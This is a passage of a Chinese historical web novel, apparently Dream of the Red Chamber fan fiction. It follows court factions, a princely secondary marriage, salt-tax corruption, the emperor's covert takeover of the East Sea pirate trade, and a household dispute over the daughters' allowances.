只略吃了两口点心,太上皇就搁了筷子,又捧了茶慢慢吃着,顺口就转移了话题“老七家的倒是颇有些玲珑心思,竟是连点心什么的,都做出这许多花样来!” 戴权陪笑道“再如何心思玲珑,不也是皇家的人!” 太上皇听得一愣,继而露出了笑意,没错,再如何,也是自家儿媳妇,像是这些好东西,不都孝敬到自己这里来了吗? 顾晓真没多少做孝顺儿媳妇的意思,要不是徒嘉珩孝顺,她也犯不着将自家的食谱都贡献出去,倒是家里的厨子与有荣焉,咱们家的食谱,便是御厨都不知道,这说出去,那简直是天大的荣光啊! 顾晓没觉着有什么荣光,眼看着到了过年,上头一个太上皇,还有个当今,都得备一份节礼过去。虽说按照孝道,给太上皇的应该要比给当今的厚一点,但是,你真要是做得太明显,回头当今弄个小本本记下来,那可就好玩了! 虽说以平王府之前跟雍王府的关系,没必要太紧张,但皇帝这种生物,你就不能去赌他们到底有多顾念旧情。 因此,顾晓只得将往年的单子又找出来,比着拟了好几次,才算是将礼单给定了下来。 顾晓还算是好的,终究是宗室,不沾手什么官职权力,相对就可以不用太计较,可是朝堂上那些官员就不一样了,他们是真得明确站队的。 老臣们一个个已经下定了决心抱太上皇的大腿,等着太上皇驾崩,他们应该也可以直接告老还乡,也不怕当今追究。而年轻一些的臣 子,却各有各的想法,有的是家族本身的立场,也有的是不看好当今的手腕,还有的呢,想要捧臭脚,结果距离中枢实在太远,压根捧不着。 圣上如今还沉得住气,毕竟,这会儿大家都想不到,太上皇居然能那么长寿!所以,即便下头有人区别对待,他也睁只眼闭只眼,当做不知道。坐上这个位置之后,他就深刻明白,什么叫做不聋不瞎,不做家翁。有的事情嘛,就得装糊涂。不仅如此,圣上自个还给太上皇准备了一份年礼。 这也是托了顾晓的福,南边的商船又照常下了南洋,结果正遇上了西洋那边的船队,干脆跟那边先交易了一场,带回来不少西洋的特产,选了几样据说也是西洋宫廷里头的东西,给放到了年礼里头。 太上皇倒也挺给面子,回头就在大明宫换上了圣上年礼里头的鎏金天使雕像烛台,这玩意放在传统的中式宫殿里头,竟是有一种说不出的古怪。因此过了正月之后,太上皇又把这玩意撤了,但欧式的烛台的确都做得精美繁复,上头可以放上几十枝巨烛,照明效果的确非常不错,因此,太上皇直接叫造办处那边,仿着这欧式的烛台给大明宫也换一下。 圣上也是孝顺,正好琉璃厂那边已经做出了大块的透明玻璃,虽说里面总归还有点绿色,但透明度已经很高,一听说太上皇准备将大明宫原本的羊角灯,明瓦灯什么的都换掉,改用那种大烛台,就猜出来太上皇眼神应该不行了,他立马就叫下头先将大明宫的窗户都换成玻璃的,增加采光,让太上皇不用大白天的还要点着许多蜡烛,弄得烟熏火燎的。 圣上本来也是一片孝心,但太上皇如今心思却有些孤拐,却又疑心圣上在提醒自己老了,不免又有些不乐起来。 圣上也搞不明白太上皇如今是个什么心思,只叫徒嘉珩经常去大明宫尽孝。徒嘉珩是个笨嘴拙舌的,也没多少机变之心,太上皇看着这个孙子,虽说心中喜爱,却也知道,他这个性子,只怕是当不得储君的。可他明明是元后嫡出,若是当不得储君,日后又该如何? 再想到已经过世的义忠亲王,太上皇心中又有些怅然,忽地便生出了一点心思,只是一时也无什么由头,不好与圣上明说,之后对待徒嘉珩,便愈发疼爱起来。也亏得贵太妃没瞧见,要不然的话,只怕又要心中生疑。 贵太妃如今忙着与娘家商议选了谁做徒宏憬侧妃之事,她思来想去,总归还是娘家更信得过,既然牛氏不识抬举,那么回头大事成了,直接叫自家娘家侄女做了皇后,岂不美哉! 甄家那边也想要更进一步,他们如今处境也是尴尬,不知道的,说他们就是江南的土皇帝,知道的,只当他们是笑话。 他们如今说是皇亲国戚,其实底子还是有点虚,既然太上皇亲口说可以从甄家女里头挑一个给纯王做侧妃,那么甄家还有什么可以犹豫的,直接选就是了。 而徒宏憬对于这个婚事也没什么不满意的地方,正经的岳父当他是空气,要不是不好彻底得罪了镇国公府,他能立马将牛氏休掉。甄家虽说名义上比不得镇国公府,还是自己的外家,但是实惠啊!别的不说,甄家那边准备的陪嫁就几十万两,比起当日乐安县主的还要强出许多。 徒宏憬如今已经不那么天真了,太上皇挑着他出头跟圣上打对台,他想要结党营私,总得有钱吧!他可是听说了,甄家那边管着盐政,以后盐税上头的钱相当一部分会以给甄家填补亏空的名义流入到太上皇手里。这种事情,和尚道士摸得,我摸不得!因此,徒宏憬也盯上了这笔钱。 以前甄家只是外家, 如今那也是岳家了,两者叠加,甄家算是彻底上了徒宏憬的船,徒宏憬自然也能更放心一些。 既然各方都很满意,这门婚事流程就走得很快。 甄家那边直接动用了好几艘官船装嫁妆,嫁妆里头根本就没放什么家具,一个是来不及,别说是那等千工床了,正常情况下,不算准备木料的时间,那等巧手木匠,随便做一整套的家具,也得大半年才行。徒宏憬如今急需要有个人为自己主持中馈,再生出个儿子来,哪有时间等这么久!何况,家具什么的,纯王府缺吗?纯王府缺的是能够直接用上的钱啊! 所以,从决定婚约,到太上皇下旨赐婚,再到甄侧妃嫁到纯王府,总共竟是只有三个月不到的时间,端午节的时候,纯王府的一应人情往来,就开始由甄侧妃做主了。 至于牛氏,已经非常干脆利索地告病,直接搬到了佛堂那边住着,寻常连面都不露了。 镇国公府那边,伯夫人已经是每日里以泪洗面,恨不得指着牛继宗的鼻子骂他当初鬼迷心窍,硬是答应了这门婚事,以至于将女儿推进了火坑“可怜我那女儿,原本在家也是金尊玉贵的,如今出嫁了,竟是跟尼姑没什么两样!甚至还不知道在府里要受多少委屈呢!” 牛继宗也是心虚,他也不是不心疼女儿,只是这种事情他能有什么办法,当初把女儿嫁过去,本来也是为了自家更进一步做国丈的。 谁能想到,太上皇忽悠了儿子,甄家跟着也将镇国公府也忽悠进去了!如今太上皇故技重施,镇国公府要是再跟,那就是猪!他就不信了,当今都已经当上皇帝了,还能眼睁睁看着自己被掀翻!再有就是,徒宏憬委实不具备一个做帝王的素质啊!这会儿又不是南北朝的时候,神经病皇帝一大堆。太上皇除非失心疯了,否则的话,能叫徒宏憬如愿? 只是镇国公府有投机的前科,便是想要投靠当今,能不能被信任还是个问题。所以,牛继宗如今也是抓瞎,要不是实在疼爱女儿,他都想要直接叫女儿自尽,好做投名状,向当今表态,他跟徒宏憬和甄家不共戴天。 因此,这会儿伯夫人便是真的指着牛继宗的鼻子骂,他也只能忍着,一时贪心,弄得自家如今也是不上不下的,别说是老婆了,他自个夜深人静的时候,都想扇自己一巴掌。 偏生如今这个情况,镇国公府在许多人眼里,那就是自作自受。很多人没意识到当初围场的事情给镇国公府带来了多少麻烦,只觉得是牛继宗无情,一听说太上皇指定了当今做皇帝,就连自个女儿也抛弃了,以至于女儿为纯王不喜,只得躲在屋里不露面。 所以,即便这会儿,镇国公府也没取得外头的同情,这也让镇国公府愈加进退维谷,只能装缩头乌龟,当做什么都不知道。 镇国公府的人可以装死,宗室里头一帮诰命却开始头大。大家都是嫡妻,结果一个侧妃堂而皇之地冒出来,跟她们交际往来,难免叫人觉得有些不自在。偏生许多人不知道将来到底是个什么情况,也不好真的把人彻底得罪了。 而顾晓这边却没那许多顾忌,这日,庆王妃六十大寿,顾晓不好再跟以往一样礼到人不到,亲自过去了,然后就见一个生得颇为美貌,又天然带着一种弱柳扶风一般姿态的女子过来行礼“见过七嫂!” 作者有话要说 第 162 章 压力就转移到了林... 顾晓一开始没认出来,她毕竟是丧夫之人,像是这等喜宴,别说是纳侧了,便是娶正妃,她正日子也是不会过去的,横竖徒嘉钰如今年纪也不小了,这等场合,都是徒嘉钰代表整个平王府过去。 结果旁边便有人带着点尴尬,提醒道“这位是纯王侧妃!” 如果不看她的身份,顾晓对美人还是颇为宽容的。贵太妃年轻时候已经是少有的美人了,这位甄侧妃甚至还略胜一筹。 只是屁|股决定脑袋,顾晓肯定是站在今上这边的,徒宏憬当年还在徒嘉钰他们面前摆过叔叔的威风,如今还想要当今的强,顾晓如何会给这甄侧妃面子,因此,只当没听见甄侧妃的话,只是跟旁边人说道“我这许多时间不出来,竟是许多人都不认识了!十四弟妹我倒也是见过的,之前还听说她病了,我却是不好上门探望,也不知道如今如何了!” 甄侧妃不免有些尴尬,她在家也是娇生惯养的,因着家里出了个贵太妃的缘故,甄家对女孩子也愈发娇养起来,等这些日子做了侧妃,纯王府上下都以“娘娘”呼之,牛氏是个摆设,从来不会出现在她面前,她在府里头当家做主,出来大家对她也客气,如今遇上个将她视若无物的,顿时脸都涨红了,她想要再说什么,却怕自取其辱,只得忍气退到一边,心里却想着回去要跟徒宏憬告状。 顾晓可不在意她想什么,只先到后头去给庆王妃贺了寿,便安心坐在那里跟一众宗室王妃说话听戏,甄侧妃之后却也悄无声息地进来了,安然坐在那里,身边竟也有几个郡王妃陪着她,与她闲谈。 端王太妃也坐在顾晓一边嗑着瓜子,见状,嘀咕了一声“如今这世道,愈发古怪了,一个侧妃堂而皇之地坐在咱们里头,竟还有正经的王妃去捧臭脚!” 顾晓笑道“随她们如何,咱们好好看戏便是!” 有道是无欲则刚,端王太妃跟顾晓一样,家里孩子早定了要继承亲王之位的,甭管谁当皇帝,都是一样。只是,当年贵太妃还是贵妃的时候,也不曾在她们这些正经的王妃面前摆多少母妃的款,轮到甄侧妃,倒是轻狂起来了,端王太妃原本也不喜欢家里的那些侧室侍妾,见得甄侧妃这般,很是看不过眼。她今儿过来,也没想到,庆王府将这位也请了过来,还与她们一道坐着,愈发叫人不舒服起来。 庆王妃不是不知道不少人的不满,但她也是无法,贵太妃和徒宏憬都抬举这个侧妃,进门的婚礼跟当日牛氏进门竟是没太多区别,显然牛氏但凡有个万一,这位立马就要替补进去,这位没有正妃之名,却早有正妃之实。 庆王一直管着宗人府,但是如今看起来,当今却是倾向于顺王,庆王这把年纪,辈分又在这里,自然懒得再对当今低头,反倒是去大明宫更勤快一些。今儿个给纯王府下了帖子,某种意义上也有打擂台的意思。 庆王妃倒是不太乐意,只是她也拗不过丈夫,只能忍了。 不多久,凤仪宫又有懿旨过来,给庆王妃赏赐了屏风宝瓶几样摆件,算是给足了庆王妃面子,庆王妃这会儿再看甄侧妃,心里愈发不自在起来。 因着这甄侧妃的存在,好几个宗室王妃只在庆王府用了午饭,便各自找了借口告辞,庆王妃只得叫几个儿媳孙媳将她们各自送出们去,又私下道了歉,只说考虑不周,叫几位娘娘未能尽兴云云。 乐安县主原本只是当人不存在,这会儿却是冷笑一声“可不是嘛,偏我们是自个上门找不自在!早知道她要来,我们来作甚!她是名门贵族家的小 姐,就咱们都是蓬头百姓家的,难怪做了正妃,都比不得人家!” 乐安县主早就憋了一肚子气,只是她之前跟徒宏轩一起,整日里在府里唱戏,时不时还要借着戏曲阴阳一下隔壁,前儿个隔壁成婚,他们就在府里头唱了一折《龙女牧羊》,就是柳毅传里头的一折,自觉很是给了隔壁难看,今儿个过来,却瞧着甄侧妃派头比正经的王妃还大乐安县主自然不爽。只是她性子虽说略有些娇蛮,但也知道场合,今儿个是庆王妃寿宴,这位是宗室里头的长辈,总不能在这里闹出来。 如今听得这些人私底下的解释,这还不如不解释了,顿时就发作起来,话一说完,甩手就走。 乐安县主什么身份,什么性子,她这边走了,留下庆王府几个媳妇开始抓瞎,顾晓瞧她们尴尬模样,也不给什么台阶,只是笑道“这天也不早了,我们也回去了!” 及到晚上宴席散了,庆王妃瞧着自家丈夫竟然还有点得意的模样,直接将刚拆下来的一根玉钗一丢,玉钗本来就脆,她又一时失手,用大了力气,玉钗直接断成两截,她也顾不得心疼,埋怨道“之前你非要给纯王府那位侧妃下帖子,这下好了,今儿个闹得尴尬得不行,不知道得罪了多少人呢!” 庆王从来都是个实际主义者,他那么多孩子,儿孙满堂,做宗令也是为了多捞一份钱,今儿个作为,也是为了捞钱,他瞥了一眼那根玉钗,笑道“得罪了又怎么样,咱们都是宗室,回头该如何不还得如何?但是,请了那位,那就是真金白银的好处!” 庆王妃皱了皱眉,说道“什么真金白银的好处,你可别忘了,如今皇位上坐着的是谁!” “怕什么,太上皇还在呢,他还不知道什么时候能做主呢!何况,咱们就是捞点钱罢了,回头顶多被说两句,有什么好担心的!”庆王愈发无所谓起来。 庆王妃顿时来了兴趣“捞钱,纯王这么大方?” “哪里是纯王,他花钱的地方且多着呢,哪有给咱们的份!”庆王解释道,“是甄家!他们家不是管着盐政嘛,之前直接给咱们家送了一些盐引!” 庆王妃悚然一惊,忙问道“这也能随便送的?回头不会出事吧!” 庆王无所谓地说道“管他呢,咱们先把这份钱赚了再说!何况,咱们家才占了多少便宜,大头还在别人那里呢!” 庆王妃听得庆王这般说,便也不再多问,又转过头来对着镜子拆掉头上的首饰,嘴里说道“王爷你悠着点,咱们一大家子人呢,便是朝廷几乎不曾问罪宗室,但得罪了当今,回头那边在袭爵的事情上卡一下,也是麻烦!” 庆王顿时不高兴呢“我这都是为了谁,不趁着如今还是宗令,还值得人拉拢的时候多挣一点,等过几年下来了,靠老本过日子吗?上上下下好几十口人呢,现在不多做打算,以后便是能袭爵,日子也得精穷!” 庆王妃说不过他,只得作罢,心里也是发愁,当初觉得是多子多福,如今孩子一多,那就是债啊! 也不知道是甄家行事不密,还是庆王府没有做好保密工作,没多久,大家就知道,庆王府当日请了甄侧妃,是甄家给了庆王好处。 然后,甄家就变成了冤大头,毕竟,你们能给庆王府掏钱,就不能给咱们掏钱?不过是几个月时间,不少自以为自家身份还行的人,就开始各种找甄家打秋风。 估摸着甄家要是早知道如此,能把几个月前的自己扇死。不过他们家也不是好惹的,刚开始敷衍过去之后,很快就 强硬起来,徒宏憬也跟着助攻了一把,总算是将这事给压了下去。 然后,压力就转移到了林如海头上。 盐税要给甄家填补亏空,太上皇要一笔,徒宏憬要一笔,那些盐商又不是什么傻子,没事多交税给皇帝享用,因此,上半年的盐税交到京中的时候,圣上脸都黑了。 林如海作为巡盐御史,为了这事还上了折子,说明了一下情况,结果折子送回来的时候,上头圣上虽说没有疾言厉色,但那等殷殷期待,也叫林如海压力山大。 林如海是典型的士大夫读书人,讲究的是士为知己者死。之前他进京述职,圣上就对他摆出一副寄予厚望的模样,颇有引为心腹的意思。林如海之前那些年虽说算不得失意,但也绝算不上得意!毕竟,如今早就不是当年那等求贤若渴的时候了,三年一次科举,偶尔还有一次恩科。像是今年,因着当今登基,太上皇身体也好了,又改元承庆,就加了一次恩科。每一次能出300个进士,但是朝廷又不是每一次都能腾出三百个官职来。 原本当初那场宫变,腾出的位置算是比较多的,不少赶上的人得以连升三级,直接上去了,可那会儿林如海在守孝,虽说避过了最危险的那一阵,却也直接导致他没赶上那一波,以至于蹉跎了好些年,如今才顶着个四品兰台寺大夫的名头做着巡盐御史。 圣上给了他机会,他要是做不出点成绩来,之后只怕也就没有所谓的前途而言了。 他如今已经有了一个女儿,贾敏又再次有孕,按照大夫的意思,这一胎应该是个儿子,哪怕是为了儿女,他也得支棱起来。 他之前原本也就是想着混过了这一年再说,如今却是不能,只得打点精神,开始抽丝剥茧,好歹得弄清楚,甄家到底捞了多少钱,自己私藏了多少,孝敬了太上皇多少,给了徒宏憬多少,而那些盐商私底下又藏了多少。 从林如海当了巡盐御史之后,甄家跟贾家的关系一下子又变得如胶似漆起来。贾史氏将一切都推到了贾赦头上,只说他们瞒着贾赦将元春送进了小选的名单之后,贾赦就闹将开来,各种拖后腿。 总而言之,不管是元春先被分派到了别处,还是后来直接被瑜太妃捞走,一切都是贾赦搞的鬼,贾史氏和二房是真心实意要跟甄家走到底的。 不管甄家信不信,贾史氏反正信了。 甄家那边,对此是半信半疑。但是信不信有什么关系,关键得看有没有利益。甄家自觉林如海是贾家的女婿,四舍五入之下,那就是自己人了。 因此,即便林如海拒绝了甄家的示好,他们也只当是欲拒还迎,之后会再加大力度。 甄家既然当林如海是自己人,林如海这边查起来,竟是没遇到太多的难题,等到将一切搞清楚之后,林如海只觉得自己陷入了一个巨大的漩涡! 难怪圣上以天子之尊,对他林如海各种温言抚慰,原来巡盐御史的位置才是巨大的坑,还是个烂泥坑,倒霉的是,林如海已经陷进去了。 他如今已经不指望能早点逃开这个烂泥坑了,如今只能期盼着,赶紧将甄家还有一众盐商的罪证砸瓷实了,等甄家倒霉了,他也就能回去了。 盐税大打折扣,圣上倒也没有太生气,他已经秘密培养了一批人,开始在东海那边剿灭那里的海盗。或者说,他的人取代了原本的生态位,装作新冒出来的海盗,直接在东海那边开了张。 圣上不是那等拘泥的人,道德底线非常灵活。既然东海那边水军和市舶司跟那些大海商和 海盗沆瀣一气,他一时半会儿又没法另起炉灶,那么,最简单的办法,就是腾笼换鸟,取而代之。 太上皇只知道江南那边的士绅胆大包天,对于海盗的事情并不是很清楚,这些年各市舶司的关税,反倒是南边更多一些,反倒是东海那边,报上来的理由是如今大家都喜欢从南边出海,便是那些海商,也不想多走冤枉路,因此,每每停靠东海那边几个港口的商船越来越少,自然关税也越来越少。 太上皇几次南巡,也没想过要跑到市舶司那里瞧瞧情况,自然就被下头给糊弄了过去。 圣上以前也不知道,如今一查就是吓了一跳。既然太上皇不知道那里的情况,东海那边市舶司的官员就算不得太上皇的心腹,因此,圣上略费了点心思,就在那边安插了几个官员。准备回头等手里有了人,也要将那边水军给整顿一下。 只要不是直接跟太上皇对上,圣上作为当今天子,只要肯拉的下脸来,自然有许多办法可以招揽人手。尤其,这年头上升渠道有限,多有人空有本事,却只能游手好闲。 另外,圣上能在南边将“海盗”队伍拉起来,也跟王家有关。王家当年就是干这行的,后来即便是换了赛道,南边也多有王家的关系在。只是王家之前被问罪,原本他们曾经那些故旧也遭了牵连,许多直接就被开革了出去,如今圣上要用人,竟是将这些人挖出来不少。 这些人当年也是得意过的,一朝落魄,曾经那些远不如他们的人都敢来奚落乃至打压,一个个早就憋足了气!如今有了机会,自然得狠命抓住,许多人年纪本来也不小了,蹉跎至今,便是为了儿孙,也肯豁出这条命去! 这算是人心可用,圣上得知之后,还专门叫人打听了一下王家人的情况,最后知道,王子腾如今在平安州已经破罐破摔了。没办法,以前草原那些部族还会南下打草谷,如今一个个都是忙着养羊,好卖羊毛,哪个部族敢发疯,羊毛就别想卖出去了!那边如今一个个算盘都比刀子拿得利索,没有军功,王子腾想要更进一步,根本没有可能。 他如今干脆是找自家妹夫薛俭借了一笔本钱,也干起了低买高卖的买卖,为此,连女儿王熙鸾的婚事都搭了进去,如今在平安州那边竟也有了一定身家,他夫人除了王熙鸾之外,再无生育,他便干脆又娶了个蛮人小部族首领家的女儿,充作二房,可惜的是,大概生不了孩子是他的问题,至今依旧再无所出,反倒是跟自家夫人翻了脸。要不是他夫人顾念着女儿,都要直接抛开他,回娘家度日了! 总而言之,王子腾如今这般,已经翻不起什么风浪来,圣上一瞧,也就放了心,这样的王子腾,是不值得王家旧部追随的,这些人,以后就姓徒了! 这些人祖上就是干的这等买卖,如今海上那些,根本就是他们的徒子徒孙,他们开张之后,江南那些原本垄断了往东洋乃至高句丽那边商路的海商算了倒了大霉,一个个前脚才出海,后脚就被包围,船上水手被杀得干干净净,船能带走的都带走,不能带走的直接就被击沉。 没两个月,这些海商就有些撑不住了。 他们虽说这些年垄断了商路赚得不少,但花的也多,别的不说,市舶司和水军那边,不都得打点?船上水手还有随行的掌柜管事没了,不得抚恤?船没了,还得再买船造船,到处都是开销。找市舶司查问可有人出手他们的商品,却没想到,人家根本没在这边销赃,而是直接将东西交到了顾晓手底下的人那里,自个运到东洋那边给卖掉了。 他们很 快意识到海上崛起了新的势力,又想要故技重施,过去收买,结果人家又不是真的冲着钱来的。都是当狗,为什么不当皇帝的狗呢?起码圣上许诺了,回头他们的儿孙就可以直接补入军中,进去就是军官,以后还多有用得着他们的时候。 这些海商急了,又找水军总兵参将,毕竟这么多年他们分了这许多钱,如今该到他们出手的时候了。 结果又被这些水军将领狠狠敲诈了一笔,这才得了出兵剿匪的许诺。 圣上原本就在水军和市舶司里头都安插了人手,虽说暂时还没有涉及到几个主官总兵,但也是有名有姓的人物,这边前脚出兵,后脚那些“海盗” 就得了消息,扑了个空还是好事,甚至里应外合之下,直接叫东海水军也吃了大亏。 原本这等事情,都是他们私底下行事,结果如今损失了人也罢了,关键是好几艘战船也被击沉了,这个战损却是瞒不住,必须得报上去,等上头查出来,那是要掉脑袋的。毕竟,那可是战船,上头有炮台的那种,每一门小炮都记录在案,隔一段时间就有人来清点,要不然的话,一个私藏军械的罪名就扣下来,还有,你敢私藏军械,是不是要造反? 总之,盖子是捂不住了,这些人一边暗恨那些海商没说实话,以至于他们倒了大霉,一边老老实实上报说遭遇了海盗,以至于被击沉了好几艘战船。 圣上就等着这个呢!你们正经的官兵,居然连海盗都敌不过,这些年都干什么吃的?当下就是一连串地解职问罪,第一时间将水军上下都换上了自己人,那些海盗的子侄,也顺理成章地补了进去,先做个低级军官,然后呢,打着报仇的旗号,将之前还没扫灭的几家海盗给干掉,这事也就圆回来了。 这一连串的操作下来,圣上可以说是大获全胜。那几家海商甭管背后是谁,如今已经是元气大伤,回头再从海盗窝里头找出几封信件什么的出来,再问他们一个勾结盗匪,残害朝廷官兵的罪名,抄家灭族一条龙安排上,又赚了一笔。再有,以后那条商路就被攥在自己手上了,每年都能有一大笔的金银进账,想要干点什么事情都很方便。 之前圣上说了这条商路上的收益跟平王府三七分账,顾晓是个乖觉的,直接将一应成本都算在了自己那三成里头,等于是她这边就赚了个辛苦钱,大头都落到了圣上手里。圣上嘴里不说,心里却觉得顾晓懂事。私底下又叫皇后很是赏赐了平王府几回。 太上皇这边原本没当回事,等到他的人打听到圣上的人查抄了大批的家产,赚得盆满钵盈之后,就有些懊恼起来,早知如此,他之前也该跟着插一脚的,如今好了,这些好处全落到圣上手里了。 只是太上皇是个要面子的,圣上这事做得雷厉风行,办得也漂亮,里子面子都有了,半点挑不出什么毛病,他也猜出来,以前东海那边市舶司只怕有猫腻,只是自己之前没发现,如今叫儿子发现了,他也只能是忍了下来,又给甄应嘉去了一封信,继续要钱。 作者有话要说 第 163 章 两位姑娘如今在做... 圣上有了大笔进账,对于江南那边的盐税也就没那么上心!但是钱可以不急着要,就当存甄家乃至他们的党羽那边了,到时候太上皇护不住他们了,自然能连本带利收回来。如今要紧的就是抓住甄家和徒宏憬一党的把柄,免得他们老是在自己面前蹦跶,着实烦人! 顾晓借了圣上这一番操作的光,很是赚了不少,赚得她都有点嫌钱烫手,不得不跑到宫中委婉地问了一下皇后,要不要直接将这买卖收回去,他们府里管着南洋那一摊就行了,其他的还是叫圣上自个派了人去管。 但是圣上却也是苦于无人可用,或者说,他担心自己前脚将这门生意收回来,后脚太上皇就将这事归到内务府里头,然后好处就落太上皇手里了。 因此,皇后好生安慰了顾晓一番,后脚又直接赏赐了大笔的东西。如今平王府里头不缺什么珍珠宝石香料,皇后也只能赏赐各种上用的衣料还有造办处的新鲜玩意,几次下来,平王府里头,今年各个主子都不用另外采购衣料了。 府里头如今愈发宽裕,即便府里其他人并不管家,也看得出来,毕竟,哪怕月钱没变,也没多吃什么山珍海味,但是每季度的衣裳首饰,质量却是一直都很好,一开始不过是偶尔有上用的东西,如今几乎都是上用的,按理说日子愈发好过,偏生又出了幺蛾子。 顾晓的消费观念跟这年头的人并不一样,别的东西可以存着,衣料这种东西,除非是类似于缂丝的那种料子,还有就是各种皮子之类,还算是能放得住。锦缎这种东西,都是丝织品,而丝织品是非常娇贵的,保存的时候要避光,要通风,还要注意防潮防虫,甚至不能叠压太重,要不然的话,就容易褪色、变形、老化,总而言之,不趁着鲜亮的时候穿着,多放几年,连赏人都不行,毕竟,什么人都能穿这样的料子的吗? 因此,但凡有了新料子,顾晓多半就都分下去了,而且直接是发料子,多出来的边角料,也算是给几个太姨娘的贴补。只是人心往往不足,好东西见得多了,一个个胃口也大了起来。 周氏因着佳婉不是亲生的,佳婉又没有明确记在她名下,一开始陈氏还得倚仗她一番,但如今徒宏远骨头都能打鼓了,大家都是太姨娘,凭什么要以周氏为主呢!便是周氏私房钱多,但是如今这个架势,这位又能给佳婉多少,还不如多去娘娘那里敲敲边鼓,指望着娘娘多给孩子准备点嫁妆呢!存了这样的想法之后,陈氏竟是开始有意隔绝佳婉与周氏之间的往来,周氏也不傻,她也不想落得人财两空,因此,干脆就开始只管自己,捂住了自个的钱袋子,不叫别人占便宜。 陈氏黄氏这边,操作也比较奇葩,女儿出嫁了,便是别人家的人了,便是还会跟王府有什么人情往来,能带给她们这些生母的东西也有限。如今瞧着顾晓这般大方,一个个竟是起了点心思,觉得横竖顾晓亏待不了两个女儿,那佳婉佳姝之前用过的那些首饰还有平常的月钱什么的,是不是能自己留下来。 顾晓一开始不知道这些,毕竟,她又不打算养别人生的孩子,她只负责出钱,教育有女先生负责,她只需要享受香香软软小姑娘的情绪价值就行。 结果,人家生母一下子都变成了在世葛朗台,只想占公中的便宜,连女儿的羊毛也不放过,虽说对于佳婉和佳姝来说,吃穿用度都从公中走,可是小女孩子,便是不方便出门,手里也总得有点零花钱打赏下人。 这被生母拿着她们帮忙保管的理由将月例乃至之前的压岁钱都拿走了,佳婉和佳姝以前也没什 么积蓄,一时之间,就有些捉襟见肘,总不能想要厨房多做一盘子小点心,直接拔了钗子去换吧,这也太不像样。 她们也不敢直接找顾晓说这事,免得顾晓怪到生母头上去,只能找末儿借钱。 之所以不找徒嘉泽,那是担心李氏也是同样操作,怕徒嘉泽手里也没钱。 末儿是个大大咧咧的性子,他的钱都是他自个管着,虽说他乳母也拿着一把钥匙,但也仅仅如此罢了。 末儿花钱的地方也不多,他喜欢画画,顾晓就额外批了一笔钱,专门给他准备各种画具和材料,不需要动用末儿自个的私房,他的月钱什么的,除了赏人和偶尔出去购物之外,就没什么要用的地方,因此这些年居然攒下了挺大一笔。 既然两个姐姐要借钱,末儿就也没多问,直接就开了匣子,金银锞子各给她们装了好几个荷包。佳婉和佳姝也不知道自己手里什么时候能有钱,总不能许诺等自己嫁妆到手了,再还钱,只得许诺,回头帮着末儿多做几身漂亮的狗狗衣裳和玩具,作为偿还。 末儿笑眯眯答应了下来,对此也没当回事。白白和花花如今也开始步入老年,不如从前那般活泼好动,但是末儿依旧很喜欢它们,连狗窝都是放在自己屋里的,佳婉和佳姝愿意帮忙做几件狗狗衣裳,那自然是好,没有,不还有针线上人嘛! 末儿财大气粗,不差这点钱,但是管着末儿钱匣子的乳母却不能装作什么都不知道,后脚就告诉了顾晓。 顾晓皱了皱眉“两位姑娘如今在做什么,竟是开始缺钱了?(
顾晓第一想法是,佳婉和佳姝有了什么烧钱的爱好,但是到底什么爱好这么烧钱呢?然后就觉得,这两位是不是被人给骗了,比如说遇上个会装可怜的,然后两个不谙世事的善良小姑娘就抹着眼泪将自己的私房钱都贡献出去了!王府里头也不会出什么事,她也不想直接将人叫过来询问,因此,便吩咐道“去打听一下,两个姑娘身边可有什么不寻常的事情,怎么竟是还缺钱了?” 几个下人悚然一惊,这事可不是什么小事,如今姑娘只是找弟弟借钱,回头不好意思了,叫人私底下拿着自己的首饰出去典当,那平王府的脸可就丢大了。当下一个个赶紧答应下来,各自找了路子打探起来。 没多久,顾晓就知道了原因,不免有些无语。你们收了压岁钱自己保管也就算了,连月钱也不放过,竟是半点都不给孩子留,这是不是太贪了点。 府里头几个太姨娘,一个月是二两银子的月例,但是几个公子和姑娘,一个月却是五两银子的月例,另外他们还要读书写字,哪怕府里头供应笔墨纸砚,但顾晓依旧叫官中每人给了二两银子的纸笔银子作为贴补。总之,除了徒嘉钰因为在弘文馆读书,又是家里的长子,花销比较大,一个月有十两银子的月例,十两银子的贴补之外,其他几个孩子,一个月都是七两银子。别说是在府里没有花钱的地方,便是放在外头,这笔银子也够小富人家一家子过得舒舒坦坦了。说难听点,像是那等无爵的宗室,一年也就是六十两银子的俸禄,府里几个孩子,一个人就能养活一家无爵宗室。 “原本那两位太姨娘还会给两位姑娘留二两银子,之后就只留了一两!”春香汇总了一下消息之后来给顾晓回话,神情也是一言难尽,“两位姑娘之前手松惯了的,又要打赏,还想着在外头买点小东西,一两银子根本不够用,又不好意思问两个太姨娘要钱,只能找三公子借!” “那两位要那么多钱干什么?难不成补贴娘 家?” 顾晓愈发纳了闷了,她们就一个闺女,做事总得有点动机吧! “那倒不是,几位太姨娘如今跟娘家都没什么往来!”春香解释道,“据说,她们是存着钱想要留着将来养老?” 顾晓听了,不由哭笑不得,这都什么跟什么啊,平王府家大业大,难道不能给她们养老吗?未雨绸缪到这个地步,未免也太过分了点。 “娘娘,要将那两位太姨娘叫过来,叫她们将钱还给两位姑娘吗?”春香对此有些愤愤,倒不是为佳婉佳姝不平,而是为顾晓不平。在春香看来,佳婉佳姝不过就是借着两个太姨娘的肚子出生罢了,礼法上头就是顾晓的女儿。顾晓顾念母女亲情,才叫她们养着两个姑娘,实际上,两个姑娘才是王府正经的主子,那两个太姨娘,不过就是比下头奴婢略强一些罢了!也就是娘娘慈悲,才叫她们竟是蹬鼻子上脸了。 顾晓犹豫了一下,还是摇了摇头,佳婉佳姝要是年纪小,倒还可以这般,如今两人都大了,再这般,其实也是打了她们两个的脸。 大户人家,从来都讲究胳膊折了在袖子里,什么事情,只要能捂盖子,那绝不掀盖子。因此,这事还是得低调一些处理。 顾晓琢磨一下,说道“罢了,府里地方也大,给两个姑娘另外收拾出两个小院子出来,她们年纪也大了,过两年也该议亲,也该学着管点事情,以后她们院子的事情,就叫她们自个管着吧!” 这算是釜底抽薪了,两个孩子直接搬走,以后一应份例直接送她们自个院子里,那两位若是再找上门去硬要给女儿保管零花钱,那就是给脸不要脸了! 黄氏陈氏听了消息,果然有些羞臊,自家人知道自家事,她们嘴上说帮孩子把钱存着,实际上这钱将来到底在谁手里,她们自个心里有数,以后两个孩子出嫁,她们能拿出一半来,都要说是慈母心肠。 